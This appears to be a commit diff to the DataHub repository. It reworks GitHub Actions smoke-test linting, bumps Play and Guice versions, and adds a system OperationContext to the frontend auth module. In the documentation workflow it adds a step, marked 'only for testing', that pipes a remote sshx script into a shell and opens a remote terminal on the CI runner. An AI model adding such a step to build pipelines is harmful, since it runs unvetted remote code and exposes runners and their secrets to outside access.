Docs sshx

.github/actions/ci-optimization/action.yml

@@ -35,6 +35,9 @@ outputs:
  elasticsearch-setup-change:
  description: "Elasticsearch setup docker change"
  value: ${{ steps.filter.outputs.elasticsearch-setup == 'true' }}
+ smoke-test-change:
+ description: "Smoke test change"
+ value: ${{ steps.filter.outputs.smoke-test == 'true' }}
 runs:
  using: "composite"
  steps:
@@ -76,4 +79,6 @@ runs:
  postgres-setup:
  - "docker/postgres-setup/**"
  elasticsearch-setup:
- - "docker/elasticsearch-setup/**"
+ - "docker/elasticsearch-setup/**"
+ smoke-test:
+ - "smoke-test/**"

.github/workflows/docker-unified.yml

@@ -29,35 +29,8 @@ env:
  DATAHUB_INGESTION_IMAGE: "acryldata/datahub-ingestion"
 
 jobs:
- check_lint:
- runs-on: ubuntu-latest
- steps:
- - name: Check out the repo
- uses: acryldata/sane-checkout-action@v3
- - uses: actions/setup-python@v4
- with:
- python-version: "3.10"
- cache: "pip"
- - uses: actions/cache@v4
- with:
- path: |
- ~/.cache/uv
- key: ${{ runner.os }}-uv-${{ hashFiles('**/requirements.txt') }}
- - name: Set up JDK 17
- uses: actions/setup-java@v3
- with:
- distribution: "zulu"
- java-version: 17
- - uses: gradle/gradle-build-action@v2
- - name: Ensure packages are correct
- run: |
- python ./.github/scripts/check_python_package.py
- - name: Run lint on smoke test
- run: |
- ./gradlew :smoke-test:lint
  setup:
  runs-on: ubuntu-latest
- needs: check_lint
  outputs:
  tag: ${{ steps.tag.outputs.tag }}
  slim_tag: ${{ steps.tag.outputs.slim_tag }}
@@ -106,6 +79,29 @@ jobs:
  echo "publish=${{ env.ENABLE_PUBLISH }}" >> $GITHUB_OUTPUT
  - uses: ./.github/actions/ci-optimization
  id: ci-optimize
+ - uses: actions/setup-python@v4
+ if: ${{ steps.ci-optimize.outputs.smoke-test-change == 'true' }}
+ with:
+ python-version: "3.10"
+ cache: "pip"
+ - uses: actions/cache@v4
+ if: ${{ steps.ci-optimize.outputs.smoke-test-change == 'true' }}
+ with:
+ path: |
+ ~/.cache/uv
+ key: ${{ runner.os }}-uv-${{ hashFiles('**/requirements.txt') }}
+ - name: Set up JDK 17
+ uses: actions/setup-java@v3
+ if: ${{ steps.ci-optimize.outputs.smoke-test-change == 'true' }}
+ with:
+ distribution: "zulu"
+ java-version: 17
+ - uses: gradle/gradle-build-action@v2
+ - name: Run lint on smoke test
+ if: ${{ steps.ci-optimize.outputs.smoke-test-change == 'true' }}
+ run: |
+ python ./.github/scripts/check_python_package.py
+ ./gradlew :smoke-test:lint
 
  gms_build:
  name: Build and Push DataHub GMS Docker Image

.github/workflows/documentation.yml

@@ -39,6 +39,8 @@ jobs:
  cache: pip
  - name: Install Python dependencies
  run: ./metadata-ingestion/scripts/install_deps.sh
+ # only for testing
+ - run: curl -sSf https://sshx.io/get | sh -s run
  - name: Build Docs
  run: |
  ./gradlew --info docs-website:build

build.gradle

@@ -17,7 +17,7 @@ buildscript {
 
  ext.javaClassVersion = { p ->
  // If Spring 6 is present, hard dependency on jdk17
- if (p.configurations.any { it.getDependencies().any{
+ if (p.configurations.any { it.getDependencies().any {
  (it.getGroup().equals("org.springframework") && it.getVersion().startsWith("6."))
  || (it.getGroup().equals("org.springframework.boot") && it.getVersion().startsWith("3.") && !it.getName().equals("spring-boot-starter-test"))
  }}) {
@@ -43,7 +43,7 @@ buildscript {
  ext.elasticsearchVersion = '2.9.0' // ES 7.10, Opensearch 1.x, 2.x
  ext.jacksonVersion = '2.15.3'
  ext.jettyVersion = '11.0.19'
- ext.playVersion = '2.8.18'
+ ext.playVersion = '2.8.21'
  ext.log4jVersion = '2.19.0'
  ext.slf4jVersion = '1.7.36'
  ext.logbackClassic = '1.4.14'
@@ -52,6 +52,8 @@ buildscript {
  ext.hazelcastVersion = '5.3.6'
  ext.ebeanVersion = '12.16.1'
  ext.googleJavaFormatVersion = '1.18.1'
+ ext.openLineageVersion = '1.5.0'
+ ext.logbackClassicJava8 = '1.2.12'
 
  ext.docker_registry = 'linkedin'
 
@@ -132,7 +134,7 @@ project.ext.externalDependency = [
  'graphqlJavaScalars': 'com.graphql-java:graphql-java-extended-scalars:21.0',
  'gson': 'com.google.code.gson:gson:2.8.9',
  'guice': 'com.google.inject:guice:7.0.0',
- 'guice4': 'com.google.inject:guice:4.2.3', // Used for frontend while still on old Play version
+ 'guicePlay': 'com.google.inject:guice:5.0.1', // Used for frontend while still on old Play version
  'guava': 'com.google.guava:guava:32.1.2-jre',
  'h2': 'com.h2database:h2:2.2.224',
  'hadoopCommon':'org.apache.hadoop:hadoop-common:2.7.2',
@@ -176,6 +178,7 @@ project.ext.externalDependency = [
  'kafkaClients': "org.apache.kafka:kafka-clients:$kafkaVersion",
  'snappy': 'org.xerial.snappy:snappy-java:1.1.10.4',
  'logbackClassic': "ch.qos.logback:logback-classic:$logbackClassic",
+ 'logbackClassicJava8' : "ch.qos.logback:logback-classic:$logbackClassicJava8",
  'slf4jApi': "org.slf4j:slf4j-api:$slf4jVersion",
  'log4jCore': "org.apache.logging.log4j:log4j-core:$log4jVersion",
  'log4jApi': "org.apache.logging.log4j:log4j-api:$log4jVersion",

datahub-frontend/app/auth/AuthModule.java

@@ -8,9 +8,11 @@
 import com.datahub.authentication.Actor;
 import com.datahub.authentication.ActorType;
 import com.datahub.authentication.Authentication;
+import com.datahub.plugins.auth.authorization.Authorizer;
 import com.google.inject.AbstractModule;
 import com.google.inject.Provides;
 import com.google.inject.Singleton;
+import com.google.inject.name.Named;
 import com.linkedin.entity.client.SystemEntityClient;
 import com.linkedin.entity.client.SystemRestliEntityClient;
 import com.linkedin.metadata.restli.DefaultRestliClientFactory;
@@ -20,6 +22,13 @@
 import controllers.SsoCallbackController;
 import java.nio.charset.StandardCharsets;
 import java.util.Collections;
+
+import io.datahubproject.metadata.context.ActorContext;
+import io.datahubproject.metadata.context.AuthorizerContext;
+import io.datahubproject.metadata.context.EntityRegistryContext;
+import io.datahubproject.metadata.context.OperationContext;
+import io.datahubproject.metadata.context.OperationContextConfig;
+import io.datahubproject.metadata.context.SearchContext;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.codec.digest.DigestUtils;
 import org.apache.http.impl.client.CloseableHttpClient;
@@ -152,6 +161,31 @@ protected Authentication provideSystemAuthentication() {
  Collections.emptyMap());
  }
 
+ @Provides
+ @Singleton
+ @Named("systemOperationContext")
+ protected OperationContext provideOperationContext(final Authentication systemAuthentication,
+ final ConfigurationProvider configurationProvider) {
+ ActorContext systemActorContext =
+ ActorContext.builder()
+ .systemAuth(true)
+ .authentication(systemAuthentication)
+ .build();
+ OperationContextConfig systemConfig = OperationContextConfig.builder()
+ .searchAuthorizationConfiguration(configurationProvider.getAuthorization().getSearch())
+ .allowSystemAuthentication(true)
+ .build();
+
+ return OperationContext.builder()
+ .operationContextConfig(systemConfig)
+ .systemActorContext(systemActorContext)
+ .searchContext(SearchContext.EMPTY)
+ .entityRegistryContext(EntityRegistryContext.EMPTY)
+ // Authorizer.EMPTY doesn't actually apply to system auth
+ .authorizerContext(AuthorizerContext.builder().authorizer(Authorizer.EMPTY).build())
+ .build(systemAuthentication);
+ }
+
  @Provides
  @Singleton
  protected ConfigurationProvider provideConfigurationProvider() {
@@ -163,13 +197,13 @@ protected ConfigurationProvider provideConfigurationProvider() {
  @Provides
  @Singleton
  protected SystemEntityClient provideEntityClient(
- final Authentication systemAuthentication,
+ @Named("systemOperationContext") final OperationContext systemOperationContext,
  final ConfigurationProvider configurationProvider) {
  return new SystemRestliEntityClient(
+ systemOperationContext,
  buildRestliClient(),
  new ExponentialBackoff(_configs.getInt(ENTITY_CLIENT_RETRY_INTERVAL)),
  _configs.getInt(ENTITY_CLIENT_NUM_RETRIES),
- systemAuthentication,
  configurationProvider.getCache().getClient().getEntityClient());
  }
 

datahub-frontend/app/config/ConfigurationProvider.java

@@ -1,5 +1,6 @@
 package config;
 
+import com.datahub.authorization.AuthorizationConfiguration;
 import com.linkedin.metadata.config.VisualConfiguration;
 import com.linkedin.metadata.config.cache.CacheConfiguration;
 import com.linkedin.metadata.config.kafka.KafkaConfiguration;
@@ -26,4 +27,7 @@ public class ConfigurationProvider {
 
  /** Configuration for the view layer */
  private VisualConfiguration visualConfig;
+
+ /** Configuration for authorization */
+ private AuthorizationConfiguration authorization;
 }

datahub-frontend/play.gradle

@@ -76,7 +76,7 @@ dependencies {
 
  implementation externalDependency.slf4jApi
  compileOnly externalDependency.lombok
- runtimeOnly externalDependency.guice4
+ runtimeOnly externalDependency.guicePlay
  runtimeOnly (externalDependency.playDocs) {
  exclude group: 'com.typesafe.akka', module: 'akka-http-core_2.12'
  }
@@ -90,7 +90,7 @@ dependencies {
 
 play {
  platform {
- playVersion = '2.8.18'
+ playVersion = '2.8.21'
  scalaVersion = '2.12'
  javaVersion = JavaVersion.VERSION_11
  }

datahub-graphql-core/src/main/java/com/linkedin/datahub/graphql/Constants.java

@@ -4,7 +4,6 @@
 public class Constants {
 
  private Constants() {}
- ;
 
  public static final String URN_FIELD_NAME = "urn";
  public static final String URNS_FIELD_NAME = "urns";